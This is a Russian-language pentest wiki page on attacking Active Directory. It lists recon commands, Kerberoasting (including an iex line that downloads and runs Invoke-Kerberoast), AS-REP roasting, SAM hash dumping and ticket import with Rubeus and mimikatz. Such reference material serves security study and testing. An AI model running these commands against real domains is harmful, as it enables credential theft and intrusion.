Active directory
Страница посвящена тестированию на проникновение сетей Active Directory на Windows OS.
Содержание
Общая информация о сети
Домен
cmd.exe
1 systeminfo | findstr /B /C:"Domain"
1 echo %userdomain%
1 wmic computersystem get domain
powershell Get-ADDomain
1 import-module activedirectory
2 Get-ADDomain
nmap
У доменного контроллера будут как правило открыты порты: 53/tcp (dns), 389/tcp (ldap), 88/udp (kerberos), 135/tcp.
Поэтому для поиска можно просканнировать сеть на данные порты
1 nmap -p 53,389,135 <network/24> -v -sV
Доменный контроллер
nslookup
1 set type=all
2 _ldap._tcp.dc._msdcs.DOMAIN_NAME
1 nslookup -type=srv _kerberos._tcp.EXMAPLE.COM
2 nslookup -type=srv _kerberos._udp.EXMAPLE.COM
3 nslookup -type=srv _kpasswd._tcp.EXAMPLE.COM
4 nslookup -type=srv _kpasswd._udp.EXAMPLE.COM
5 nslookup -type=srv _ldap._tcp.EXAMPLE.COM
6 nslookup -type=srv _ldap._tcp.dc._msdcs.EXAMPLE.COM
7 nslookup -type=srv _ldap._tcp.pdc._msdcs.EXAMPLE.COM
8
9 # Если запросы идут к FOREST-домену
10 nslookup -type=srv _ldap._tcp.gc._msdcs.%DNSFORESTNAME%.
11 nslookup -type=srv _gc._tcp.%DNSFORESTNAME%.
1 nslookup -type=any %userdnsdomain%.
nltest
1 nltest /dclist:domainname
Powershell ActiveDirectory
1 Import-Module ActiveDirectory
2 (Get-ADDomainController -DomainName <Domain FQDN> -Discover -NextClosestSite).HostName
Powershell Resolve-DnsName
1 Resolve-DnsName -Name _ldap._tcp.dc._msdcs.<YOU_DOMAIN> -Type SRV
gpresult
Мало инфы
1 gpresult
Много инфы
1 gpresult /z
2 or
3 gpresult /Z
Доменные компьютеры
Дополнительная информация о сети
Список пользователей
Без перебора
С перебором
Время сети
Вариантов много, но не все работают.
NTP
1 sudo service ntp stop
2 sudo ntpdate -s time.nist.gov
3 sudo service ntp start
1 root@kali:~# rdate -n 10.10.10.248
2 Sun Oct 17 19:41:14 EDT 2021
3
4 date --set 1998-11-02
5 date --set 21:08:00
Вариант 2 - если время откатывается обратно.
1 service ntpd stop
2 update-rc.d -f ntpd remove
3 nano /etc/ntp.conf
4 while true; do date --set 19:46:08 > /dev/null; done;
1 sudo apt-get install chrony
2 sudo timedatectl set-ntp true
3 sudo ntpdate <machine IP>
Отключить VirtualBox автоматическую установку времени
1 VBoxManage setextradata "VM name" "VBoxInternal/Devices/VMMDev/0/Config/GetHostTimeDisabled" 1
HTTP
Можно использовать вместе с прокси
1 proxychains htpdate 172.16.249.204 -s
Сетевая информация
IP
Сервисы
Получение начального доступа
Анонимный доступ
Учетные данные
Сетевой перебор учетных данных (пароля)
Перебор учетных данных по протоколам лучше смотреть тут http://itsecwiki.org/index.php/Brute_force
Оффлайн перебор
NTLM
Если у вас есть NTLM-хеш пароля пользователя, то его можно отправить на перебор.
http://itsecwiki.org/index.php/Offline_bruteforce - тут подробнее о переборе NTLM
Также хеш не обязательно перебирать, его можно будет использовать в следующих этапах при атаке Pass The Hash (когда вместо пароля пользователя отправляется его NTLM-хеш).
TGS
Если у вас есть TGS-ticket для доступа к сервису, то вы можете пробрутить пароль учетки от которой будет идти запрос.
На странице http://itsecwiki.org/index.php/Offline_bruteforce вы можете найти команды для перебора паролей.
Kerberoasting
Это метод получения TGS. После его получения перейдите в пункт выше - перебор пароля в TGS. Как правилоm его делают когда уже авторизовались в домене, но может иногда сработать при анонимном доступе. Для этого нам потребуется найти доступные SPN
Поиск SPN
Windows в домене
cmd.exe
1 setspn -T TestDomain -Q */*
Пример SPN учетки MSSQLSERVER
1 MSSQLSERVER/SQL-Server.testdomain.com:1433
Powershell
1 $search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
2 $search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
3 $results = $search.Findall()
4 foreach($result in $results)
5 {
6 $userEntry = $result.GetDirectoryEntry()
7 Write-host "User : " $userEntry.name "(" $userEntry.distinguishedName ")"
8 Write-host "SPNs"
9 foreach($SPN in $userEntry.servicePrincipalName)
10 {
11 $SPN
12 }
13 Write-host ""
14 }
Invoke-Kerberoast
1 iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
2 Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>
Удаленно
Windapsearch
https://github.com/ropnop/windapsearch
https://github.com/ropnop/go-windapsearch
Параметр "user-spns".
Impacket GetUserSPNs
https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py
1 python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>
Получение TGS
Сложные варианты
TODO
Без SPNS https://swarm.ptsecurity.com/kerberoasting-without-spns/
ASP-REP roasting
Если у Kerberos отключена предварительная аутентификация, то сервер вернет ASP-REP, зашифрованная часть которого подписана клиентским ключем на кого он выписан.
Получить хеш
Rubeus
1 Rubeus.exe aspreproast
GetNPUsers.py
1 GetNPUsers.py CONTOSO.COM/Administrator:'P@ssw0rd' -request
Для информации о переборе хеша перейдите на страницу http://itsecwiki.org/index.php/Offline_bruteforce#ASP-REP
SAM & SYSTEM
Если вы каким то образом получили SAM, SYSTEM-файлы, то вы можете извлечь из них NTLM-пароли пользователей.
Но для того, чтобы получить NTLM-хеш, вам потребуется и SAM и SYSTEM.
Получение хешей
samdump2
1 samdump2 -d ./SAM ./SYSTEM
После чего следуйте инструкциям в пункте про NTLM.
TGT-билет
Как Cookie у браузера, он требуется для получения TGS который в свою очередь используется для подключения к сервисам. Если вы нашли файл с TGT-ключем, то у него есть два формата: kirbi & ccache, поэтому надо сконвертировать.
Конвертация
https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketConverter.py
1 ./ticket_converter.py admin.ccache admin.kirbi
2 ./ticket_converter.py admin.kirbi admin.ccache
Импорт тикета
!Не забудьте установить время то же, пункт выше!
.ccache
Rubeus
1 .\Rubeus.exe ppt /ticket:new_ticket.ccache
Mimikatz
1 mimikatz # kerberos::ptt new_ticket.ccache
Bash
1 export KRB5CCNAME=./test.ccache